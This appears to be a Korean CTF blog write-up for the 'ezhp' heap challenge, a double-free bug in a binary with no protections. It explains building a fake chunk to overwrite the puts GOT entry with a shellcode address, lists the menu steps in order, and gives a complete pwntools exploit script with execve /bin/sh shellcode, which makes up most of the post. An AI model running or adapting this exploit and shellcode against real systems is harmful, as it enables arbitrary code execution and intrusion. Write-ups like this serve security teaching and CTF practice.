double free bug문제


보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.


커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.

next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.

쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.


1. 1번메뉴 선택, 사이즈 =10

2. 1번메뉴 선택, 사이즈 = 10

3. 1번메뉴 선택, 사이즈 = 100

4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20 

5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공

4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100

5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30

6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit



exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
 
def add(size):
    r.recvuntil("Please choose an option.\n")  
    r.sendline("1")
    r.recvuntil("Please give me a size.\n")
    r.sendline(str(size))
 
def change(id, size, data):
    r.sendline("3")
    r.sendline(str(id))
    r.sendline(str(size))
    r.sendline(data)
 
def leak_chunk(id):
    r.sendline("4")
    r.sendline(str(id))
    r.recvuntil("AAAAAAAAAAAAAAA\n")
    leaked_chunk = u32(r.recv()[:4])
    return leaked_chunk
 
def remove(id):
    r.sendline("2")
    r.sendline(str(id))
 
if __name__ == "__main__":
    shellcode = "\xeb\x0c"
    shellcode += "\x90"*30
    shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
    r = process("./ezhp")
    elf = ELF("./ezhp")
     
    puts_got = elf.got['puts']
 
    add(10)
    add(10)
    add(100)
 
    payload = "A"*15
    change(1, 20, payload)
 
    third_chunk = leak_chunk(1)
    shell_address = third_chunk - 0x6c
    log.info("shellcode address = {}".format(hex(shell_address)))
    change(2, 100, shellcode)
 
    payload = "A"*12
    payload += p32(0xffffffff)
    payload += p32(puts_got - 8)
    payload += p32(shell_address)
 
    change(0, 30, payload)
    remove(1)
 
    r.interactive()


'CTF' 카테고리의 다른 글

Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01

+ Recent posts